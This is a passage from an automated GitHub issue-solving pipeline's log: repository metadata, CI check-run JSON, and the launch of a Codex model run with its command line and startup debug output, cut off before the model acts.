url\":\"https://api.github.com/repos/link-foundation/meta-ontology/labels{/name}\",\"releases_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/releases{/id}\",\"deployments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/deployments\",\"created_at\":\"2026-04-27T06:26:24Z\",\"updated_at\":\"2026-04-27T09:03:35Z\",\"pushed_at\":\"2026-07-12T04:01:48Z\",\"git_url\":\"git://github.com/link-foundation/meta-ontology.git\",\"ssh_url\":\"git@github.com:link-foundation/meta-ontology.git\",\"clone_url\":\"https://github.com/link-foundation/meta-ontology.git\",\"svn_url\":\"https://github.com/link-foundation/meta-ontology\",\"homepage\":\"https://link-foundation.github.io/meta-ontology/\",\"size\":2197,\"stargazers_count\":0,\"watchers_count\":0,\"language\":\"Rust\",\"has_issues\":true,\"has_projects\":true,\"has_downloads\":true,\"has_wiki\":true,\"has_pages\":true,\"has_discussions\":false,\"forks_count\":0,\"mirror_url\":null,\"archived\":false,\"disabled\":false,\"open_issues_count\":2,\"license\":{\"key\":\"unlicense\",\"name\":\"The Unlicense\",\"spdx_id\":\"Unlicense\",\"url\":\"https://api.github.com/licenses/unlicense\",\"node_id\":\"MDc6TGljZW5zZTE1\"},\"allow_forking\":true,\"is_template\":false,\"web_commit_signoff_required\":false,\"has_pull_requests\":true,\"pull_request_creation_policy\":\"all\",\"topics\":[],\"visibility\":\"public\",\"forks\":0,\"open_issues\":2,\"watchers\":0,\"default_branch\":\"main\",\"permissions\":{\"admin\":true,\"maintain\":true,\"push\":true,\"triage\":true,\"pull\":true},\"temp_clone_token\":\"\",\"allow_squash_merge\":true,\"allow_merge_commit\":true,\"allow_rebase_merge\":true,\"allow_auto_merge\":false,\"delete_branch_on_merge\":false,\"allow_update_branch\":false,\"use_squash_pr_title_as_default\":false,\"squash_merge_commit_message\":\"COMMIT_MESSAGES\",\"squash_merge_commit_title\":\"COMMIT_OR_PR_TITLE\",\"merge_commit_message\":\"PR_TITLE\",\"merge_commit_title\":\"MERGE_MESSAGE\",\"template_repository\":{\"id\":1123288454,\"node_id\":\"R_kgDOQvQFhg\",\"name\":\"rust-ai-driven-development-pipeline-template\",\"full_name\":\"link-foundation/rust-ai-driven-development-pipeline-template\",\"private\":false,\"owner\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"html_url\":\"https://github.com/link-foundation/rust-ai-driven-development-pipeline-template\",\"description\":\"A template for AI driven development pipeline for Rust\",\"fork\":false,\"url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template\",\"forks_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/forks\",\"keys_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/teams\",\"hooks_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/hooks\",\"issue_events_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/events\",\"assignees_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/tags\",\"blobs_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/languages\",\"stargazers_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/stargazers\",\"contributors_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/contributors\",\"subscribers_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/subscribers\",\"subscription_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/subscription\",\"commits_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/issues/comments{/number}\",\"contents_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/merges\",\"archive_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/downloads\",\"issues_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/labels{/name}\",\"releases_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/releases{/id}\",\"deployments_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/deployments\",\"created_at\":\"2025-12-26T15:04:17Z\",\"updated_at\":\"2026-07-03T17:18:49Z\",\"pushed_at\":\"2026-07-03T17:18:47Z\",\"git_url\":\"git://github.com/link-foundation/rust-ai-driven-development-pipeline-template.git\",\"ssh_url\":\"git@github.com:link-foundation/rust-ai-driven-development-pipeline-template.git\",\"clone_url\":\"https://github.com/link-foundation/rust-ai-driven-development-pipeline-template.git\",\"svn_url\":\"https://github.com/link-foundation/rust-ai-driven-development-pipeline-template\",\"homepage\":null,\"size\":2621,\"stargazers_count\":2,\"watchers_count\":2,\"language\":\"Rust\",\"has_issues\":true,\"has_projects\":true,\"has_downloads\":true,\"has_wiki\":true,\"has_pages\":false,\"has_discussions\":false,\"forks_count\":0,\"mirror_url\":null,\"archived\":false,\"disabled\":false,\"open_issues_count\":0,\"license\":{\"key\":\"unlicense\",\"name\":\"The Unlicense\",\"spdx_id\":\"Unlicense\",\"url\":\"https://api.github.com/licenses/unlicense\",\"node_id\":\"MDc6TGljZW5zZTE1\"},\"allow_forking\":true,\"is_template\":true,\"web_commit_signoff_required\":false,\"has_pull_requests\":true,\"pull_request_creation_policy\":\"all\",\"topics\":[],\"visibility\":\"public\",\"forks\":0,\"open_issues\":0,\"watchers\":2,\"default_branch\":\"main\",\"permissions\":{\"admin\":true,\"maintain\":true,\"push\":true,\"triage\":true,\"pull\":true},\"temp_clone_token\":\"\",\"allow_squash_merge\":true,\"allow_merge_commit\":true,\"allow_rebase_merge\":true,\"allow_auto_merge\":false,\"delete_branch_on_merge\":false,\"allow_update_branch\":false,\"use_squash_pr_title_as_default\":false,\"squash_merge_commit_message\":\"COMMIT_MESSAGES\",\"squash_merge_commit_title\":\"COMMIT_OR_PR_TITLE\",\"merge_commit_message\":\"PR_TITLE\",\"merge_commit_title\":\"MERGE_MESSAGE\"},\"custom_properties\":{},\"organization\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"security_and_analysis\":{\"secret_scanning\":{\"status\":\"disabled\"},\"secret_scanning_push_protection\":{\"status\":\"disabled\"},\"dependabot_security_updates\":{\"status\":\"disabled\"},\"secret_scanning_non_provider_patterns\":{\"status\":\"disabled\"},\"secret_scanning_validity_checks\":{\"status\":\"disabled\"}},\"network_count\":0,\"subscribers_count\":0}\n[2026-07-12T04:02:08.266Z] [STDOUT] {\n  \"message\": \"Not Found\",\n  \"documentation_url\": \"https://docs.github.com/rest\",\n  \"status\": \"404\"\n}\n[2026-07-12T04:02:08.266Z] [STDERR] gh: Not Found (HTTP 404)\n[2026-07-12T04:02:08.851Z] [STDOUT] e4a**********************************43d\n[2026-07-12T04:02:09.646Z] [STDOUT] [{\"total_count\":3,\"check_runs\":[{\"id\":86613482019,\"name\":\"Create Changelog PR\",\"node_id\":\"CR_kwDOSNlfVs8AAAAUKpDaIw\",\"head_sha\":\"e4a**********************************43d\",\"external_id\":\"f3cfe4fe-b94d-52fb-a7ed-0b463bd4fe51\",\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/check-runs/86613482019\",\"html_url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613482019\",\"details_url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613482019\",\"status\":\"completed\",\"conclusion\":\"skipped\",\"started_at\":\"2026-07-12T04:02:00Z\",\"completed_at\":\"2026-07-12T04:01:59Z\",\"output\":{\"title\":null,\"summary\":null,\"text\":null,\"annotations_count\":0,\"annotations_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/check-runs/86613482019/annotations\"},\"check_suite\":{\"id\":78953761250},\"app\":{\"id\":15368,\"client_id\":\"Iv1.05c79e9ad1f6bdfa\",\"slug\":\"github-actions\",\"node_id\":\"MDM6QXBwMTUzNjg=\",\"owner\":{\"login\":\"github\",\"id\":9919,\"node_id\":\"MDEyOk9yZ2FuaXphdGlvbjk5MTk=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/9919?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/github\",\"html_url\":\"https://github.com/github\",\"followers_url\":\"https://api.github.com/users/github/followers\",\"following_url\":\"https://api.github.com/users/github/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/github/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/github/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/github/subscriptions\",\"organizations_url\":\"https://api.github.com/users/github/orgs\",\"repos_url\":\"https://api.github.com/users/github/repos\",\"events_url\":\"https://api.github.com/users/github/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/github/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"name\":\"GitHub Actions\",\"description\":\"Automate your workflow from idea to production\",\"external_url\":\"https://help.github.com/en/actions\",\"html_url\":\"https://github.com/apps/github-actions\",\"created_at\":\"2018-07-30T09:30:17Z\",\"updated_at\":\"2026-06-18T16:17:48Z\",\"permissions\":{\"actions\":\"write\",\"administration\":\"read\",\"artifact_metadata\":\"write\",\"attestations\":\"write\",\"checks\":\"write\",\"code_quality\":\"write\",\"contents\":\"write\",\"copilot_requests\":\"write\",\"deployments\":\"write\",\"discussions\":\"write\",\"drives\":\"write\",\"issues\":\"write\",\"merge_queues\":\"write\",\"metadata\":\"read\",\"models\":\"read\",\"packages\":\"write\",\"pages\":\"write\",\"pull_requests\":\"write\",\"repository_hooks\":\"write\",\"repository_projects\":\"write\",\"security_events\":\"write\",\"statuses\":\"write\",\"vulnerability_alerts\":\"read\"},\"events\":[\"branch_protection_rule\",\"check_run\",\"check_suite\",\"create\",\"delete\",\"deployment\",\"deployment_status\",\"discussion\",\"discussion_comment\",\"fork\",\"gollum\",\"issues\",\"issue_comment\",\"label\",\"merge_group\",\"milestone\",\"page_build\",\"public\",\"pull_request\",\"pull_request_review\",\"pull_request_review_comment\",\"push\",\"registry_package\",\"release\",\"repository\",\"repository_dispatch\",\"status\",\"watch\",\"workflow_dispatch\",\"workflow_run\"]},\"pull_requests\":[{\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6\",\"id\":4037821050,\"number\":6,\"head\":{\"ref\":\"issue-5-e2602184e2c5\",\"sha\":\"e4a**********************************43d\",\"repo\":{\"id\":1222205270,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"name\":\"meta-ontology\"}},\"base\":{\"ref\":\"main\",\"sha\":\"04e**********************************70b\",\"repo\":{\"id\":1222205270,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"name\":\"meta-ontology\"}}}]},{\"id\":86613481872,\"name\":\"Version Modification Check\",\"node_id\":\"CR_kwDOSNlfVs8AAAAUKpDZkA\",\"head_sha\":\"e4a**********************************43d\",\"external_id\":\"1eb514d6-3e13-5dbc-b5de-dcd43c096378\",\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/check-runs/86613481872\",\"html_url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481872\",\"details_url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481872\",\"status\":\"in_progress\",\"conclusion\":null,\"started_at\":\"2026-07-12T04:02:01Z\",\"completed_at\":null,\"output\":{\"title\":null,\"summary\":null,\"text\":null,\"annotations_count\":0,\"annotations_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/check-runs/86613481872/annotations\"},\"check_suite\":{\"id\":78953761250},\"app\":{\"id\":15368,\"client_id\":\"Iv1.05c79e9ad1f6bdfa\",\"slug\":\"github-actions\",\"node_id\":\"MDM6QXBwMTUzNjg=\",\"owner\":{\"login\":\"github\",\"id\":9919,\"node_id\":\"MDEyOk9yZ2FuaXphdGlvbjk5MTk=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/9919?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/github\",\"html_url\":\"https://github.com/github\",\"followers_url\":\"https://api.github.com/users/github/followers\",\"following_url\":\"https://api.github.com/users/github/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/github/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/github/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/github/subscriptions\",\"organizations_url\":\"https://api.github.com/users/github/orgs\",\"repos_url\":\"https://api.github.com/users/github/repos\",\"events_url\":\"https://api.github.com/users/github/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/github/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"name\":\"GitHub Actions\",\"description\":\"Automate your workflow from idea to production\",\"external_url\":\"https://help.github.com/en/actions\",\"html_url\":\"https://github.com/apps/github-actions\",\"created_at\":\"2018-07-30T09:30:17Z\",\"updated_at\":\"2026-06-18T16:17:48Z\",\"permissions\":{\"actions\":\"write\",\"administration\":\"read\",\"artifact_metadata\":\"write\",\"attestations\":\"write\",\"checks\":\"write\",\"code_quality\":\"write\",\"contents\":\"write\",\"copilot_requests\":\"write\",\"deployments\":\"write\",\"discussions\":\"write\",\"drives\":\"write\",\"issues\":\"write\",\"merge_queues\":\"write\",\"metadata\":\"read\",\"models\":\"read\",\"packages\":\"write\",\"pages\":\"write\",\"pull_requests\":\"write\",\"repository_hooks\":\"write\",\"repository_projects\":\"write\",\"security_events\":\"write\",\"statuses\":\"write\",\"vulnerability_alerts\":\"read\"},\"events\":[\"branch_protection_rule\",\"check_run\",\"check_suite\",\"create\",\"delete\",\"deployment\",\"deployment_status\",\"discussion\",\"discussion_comment\",\"fork\",\"gollum\",\"issues\",\"issue_comment\",\"label\",\"merge_group\",\"milestone\",\"page_build\",\"public\",\"pull_request\",\"pull_request_review\",\"pull_request_review_comment\",\"push\",\"registry_package\",\"release\",\"repository\",\"repository_dispatch\",\"status\",\"watch\",\"workflow_dispatch\",\"workflow_run\"]},\"pull_requests\":[{\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6\",\"id\":4037821050,\"number\":6,\"head\":{\"ref\":\"issue-5-e2602184e2c5\",\"sha\":\"e4a**********************************43d\",\"repo\":{\"id\":1222205270,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"name\":\"meta-ontology\"}},\"base\":{\"ref\":\"main\",\"sha\":\"04e**********************************70b\",\"repo\":{\"id\":1222205270,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"name\":\"meta-ontology\"}}}]},{\"id\":86613481865,\"name\":\"Detect Changes\",\"node_id\":\"CR_kwDOSNlfVs8AAAAUKpDZiQ\",\"head_sha\":\"e4a**********************************43d\",\"external_id\":\"02927404-5a52-552d-ae68-914b040e0b52\",\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/check-runs/86613481865\",\"html_url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481865\",\"details_url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481865\",\"status\":\"in_progress\",\"conclusion\":null,\"started_at\":\"2026-07-12T04:02:02Z\",\"completed_at\":null,\"output\":{\"title\":null,\"summary\":null,\"text\":null,\"annotations_count\":0,\"annotations_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/check-runs/86613481865/annotations\"},\"check_suite\":{\"id\":78953761250},\"app\":{\"id\":15368,\"client_id\":\"Iv1.05c79e9ad1f6bdfa\",\"slug\":\"github-actions\",\"node_id\":\"MDM6QXBwMTUzNjg=\",\"owner\":{\"login\":\"github\",\"id\":9919,\"node_id\":\"MDEyOk9yZ2FuaXphdGlvbjk5MTk=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/9919?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/github\",\"html_url\":\"https://github.com/github\",\"followers_url\":\"https://api.github.com/users/github/followers\",\"following_url\":\"https://api.github.com/users/github/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/github/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/github/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/github/subscriptions\",\"organizations_url\":\"https://api.github.com/users/github/orgs\",\"repos_url\":\"https://api.github.com/users/github/repos\",\"events_url\":\"https://api.github.com/users/github/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/github/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"name\":\"GitHub Actions\",\"description\":\"Automate your workflow from idea to production\",\"external_url\":\"https://help.github.com/en/actions\",\"html_url\":\"https://github.com/apps/github-actions\",\"created_at\":\"2018-07-30T09:30:17Z\",\"updated_at\":\"2026-06-18T16:17:48Z\",\"permissions\":{\"actions\":\"write\",\"administration\":\"read\",\"artifact_metadata\":\"write\",\"attestations\":\"write\",\"checks\":\"write\",\"code_quality\":\"write\",\"contents\":\"write\",\"copilot_requests\":\"write\",\"deployments\":\"write\",\"discussions\":\"write\",\"drives\":\"write\",\"issues\":\"write\",\"merge_queues\":\"write\",\"metadata\":\"read\",\"models\":\"read\",\"packages\":\"write\",\"pages\":\"write\",\"pull_requests\":\"write\",\"repository_hooks\":\"write\",\"repository_projects\":\"write\",\"security_events\":\"write\",\"statuses\":\"write\",\"vulnerability_alerts\":\"read\"},\"events\":[\"branch_protection_rule\",\"check_run\",\"check_suite\",\"create\",\"delete\",\"deployment\",\"deployment_status\",\"discussion\",\"discussion_comment\",\"fork\",\"gollum\",\"issues\",\"issue_comment\",\"label\",\"merge_group\",\"milestone\",\"page_build\",\"public\",\"pull_request\",\"pull_request_review\",\"pull_request_review_comment\",\"push\",\"registry_package\",\"release\",\"repository\",\"repository_dispatch\",\"status\",\"watch\",\"workflow_dispatch\",\"workflow_run\"]},\"pull_requests\":[{\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6\",\"id\":4037821050,\"number\":6,\"head\":{\"ref\":\"issue-5-e2602184e2c5\",\"sha\":\"e4a**********************************43d\",\"repo\":{\"id\":1222205270,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"name\":\"meta-ontology\"}},\"base\":{\"ref\":\"main\",\"sha\":\"04e**********************************70b\",\"repo\":{\"id\":1222205270,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"name\":\"meta-ontology\"}}}]}]}]\n[2026-07-12T04:02:10.169Z] [STDOUT] []\n[2026-07-12T04:02:10.180Z] [INFO]    Feedback info will be added to prompt:\n[2026-07-12T04:02:10.183Z] [INFO]      - Pull request description was edited after last commit\n[2026-07-12T04:02:10.183Z] [INFO] \ud83d\udcc5 Getting timestamps:       From GitHub servers...\n[2026-07-12T04:02:10.955Z] [STDOUT] 2026-07-11T23:56:06Z\n[2026-07-12T04:02:10.957Z] [INFO]   \ud83d\udcdd Issue updated:          2026-07-11T23:56:06.000Z\n[2026-07-12T04:02:11.743Z] [STDOUT] []\n[2026-07-12T04:02:11.754Z] [INFO]   \ud83d\udcac Comments:               None found\n[2026-07-12T04:02:12.240Z] [STDOUT] [{\"createdAt\":\"2026-07-12T04:01:56Z\"}]\n[2026-07-12T04:02:12.248Z] [INFO]   \ud83d\udd00 Recent PR:              2026-07-12T04:01:56.000Z\n[2026-07-12T04:02:12.249Z] [INFO] \n[2026-07-12T04:02:12.249Z] [INFO] \u2705 Reference time:           2026-07-12T04:01:56.000Z\n[2026-07-12T04:02:12.252Z] [INFO] \n[2026-07-12T04:02:12.252Z] [INFO] \ud83d\udd0d Checking for uncommitted changes to include as feedback...\n[2026-07-12T04:02:12.283Z] [INFO] \u2705 No uncommitted changes found\n[2026-07-12T04:02:12.523Z] [INFO] \ud83d\udc41\ufe0f  Model vision capability: supported\n[2026-07-12T04:02:12.533Z] [INFO] \n[2026-07-12T04:02:12.533Z] [INFO] \ud83d\udcdd Final prompt structure:\n[2026-07-12T04:02:12.545Z] [INFO]    Characters: 279\n[2026-07-12T04:02:12.546Z] [INFO]    System prompt characters: 13396\n[2026-07-12T04:02:12.548Z] [INFO]    Feedback info: Included\n[2026-07-12T04:02:12.555Z] [INFO] \n[2026-07-12T04:02:12.555Z] [INFO] \ud83e\udd16 Executing Codex:          GPT-5.6-SOL\n[2026-07-12T04:02:12.558Z] [INFO]    Model: gpt-5.6-sol\n[2026-07-12T04:02:12.560Z] [INFO]    Working directory: /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:02:12.560Z] [INFO]    Branch: issue-5-e2602184e2c5\n[2026-07-12T04:02:12.561Z] [INFO]    Prompt length: 279 chars\n[2026-07-12T04:02:12.562Z] [INFO]    System prompt length: 13396 chars\n[2026-07-12T04:02:12.563Z] [INFO]    Feedback info included: Yes (1 lines)\n[2026-07-12T04:02:12.612Z] [INFO] \ud83d\udcc8 System resources before execution:\n[2026-07-12T04:02:12.615Z] [INFO]    Memory: MemFree:         4451684 kB\n[2026-07-12T04:02:12.616Z] [INFO]    Load: 2.84 3.36 3.49 2/718 2511\n[2026-07-12T04:02:12.621Z] [INFO]    Resolved model ID: gpt-5.6-sol\n[2026-07-12T04:02:12.621Z] [INFO]    Execution mode: new exec\n[2026-07-12T04:02:12.622Z] [INFO]    Prompt file: /tmp/codex_prompt_1783828932620_1.txt\n[2026-07-12T04:02:12.623Z] [INFO]    Last message file: /tmp/codex_last_message_1783828932620_1.txt\n[2026-07-12T04:02:12.624Z] [INFO]    Codex debug env: RUST_LOG=debug\n[2026-07-12T04:02:12.627Z] [INFO] \ud83d\udcca Codex --disable-1m-context: -c model_context_window=200000\n[2026-07-12T04:02:12.629Z] [INFO] \ud83d\udcca Codex --sub-session-size: -c model_auto_compact_token_limit=150000\n[2026-07-12T04:02:12.630Z] [INFO] \n[2026-07-12T04:02:12.630Z] [INFO] \ud83d\udcdd Raw command:              \n[2026-07-12T04:02:12.631Z] [INFO] (cd \"/tmp/gh-issue-solver-1783828904396\" && cat \"/tmp/codex_prompt_1783828932620_1.txt\" | codex exec --model \"gpt-5.6-sol\" --json --skip-git-repo-check -o \"/tmp/codex_last_message_1783828932620_1.txt\" -c \"model_reasoning_effort=medium\" -c \"model_reasoning_summary=auto\" --dangerously-bypass-approvals-and-sandbox \"-c\" \"model_context_window=200000\" \"-c\" \"model_auto_compact_token_limit=150000\")\n[2026-07-12T04:02:12.633Z] [INFO] \n[2026-07-12T04:02:12.637Z] [INFO] \ud83d\udccb Command details:          \n[2026-07-12T04:02:12.638Z] [INFO]   \ud83d\udcc2 Working directory:      /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:02:12.640Z] [INFO]   \ud83c\udf3f Branch:                 issue-5-e2602184e2c5\n[2026-07-12T04:02:12.642Z] [INFO]   \ud83e\udd16 Model:                  Codex GPT-5.6-SOL\n[2026-07-12T04:02:12.643Z] [INFO]   \ud83e\udde0 Reasoning effort:       medium (--think medium)\n[2026-07-12T04:02:12.644Z] [INFO] \n[2026-07-12T04:02:12.644Z] [INFO] \u25b6\ufe0f Streaming output:         \n[2026-07-12T04:02:12.644Z] [INFO] \n[2026-07-12T04:02:13.039Z] [INFO] 2026-07-12T04:02:13.038575Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadStarted\" interval_in_millisecs=60000\n[2026-07-12T04:02:13.039Z] [INFO] 2026-07-12T04:02:13.038668Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=60000\n[2026-07-12T04:02:13.039Z] [INFO] \n[2026-07-12T04:02:13.277Z] [INFO] 2026-07-12T04:02:13.275507Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.sqlite.init.count\" cardinality_limit=2000\n[2026-07-12T04:02:13.277Z] [INFO] 2026-07-12T04:02:13.275699Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.sqlite.init.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:13.277Z] [INFO] \n[2026-07-12T04:02:13.431Z] [INFO] Reading prompt from stdin...\n[2026-07-12T04:02:13.431Z] [INFO] \n[2026-07-12T04:02:13.437Z] [INFO] 2026-07-12T04:02:13.431782Z DEBUG codex.exec{otel.kind=\"internal\"}: codex_core::exec_policy: loaded rules from 0 files\n[2026-07-12T04:02:13.437Z] [INFO] \n[2026-07-12T04:02:13.468Z] [INFO] 2026-07-12T04:02:13.467112Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.468Z] [INFO] \n[2026-07-12T04:02:13.528Z] [INFO] 2026-07-12T04:02:13.528023Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.528Z] [INFO] 2026-07-12T04:02:13.528163Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.528Z] [INFO] \n[2026-07-12T04:02:13.535Z] [INFO] 2026-07-12T04:02:13.533138Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.535Z] [INFO] \n[2026-07-12T04:02:13.540Z] [INFO] 2026-07-12T04:02:13.536302Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.540Z] [INFO] \n[2026-07-12T04:02:13.553Z] [INFO] 2026-07-12T04:02:13.552500Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected 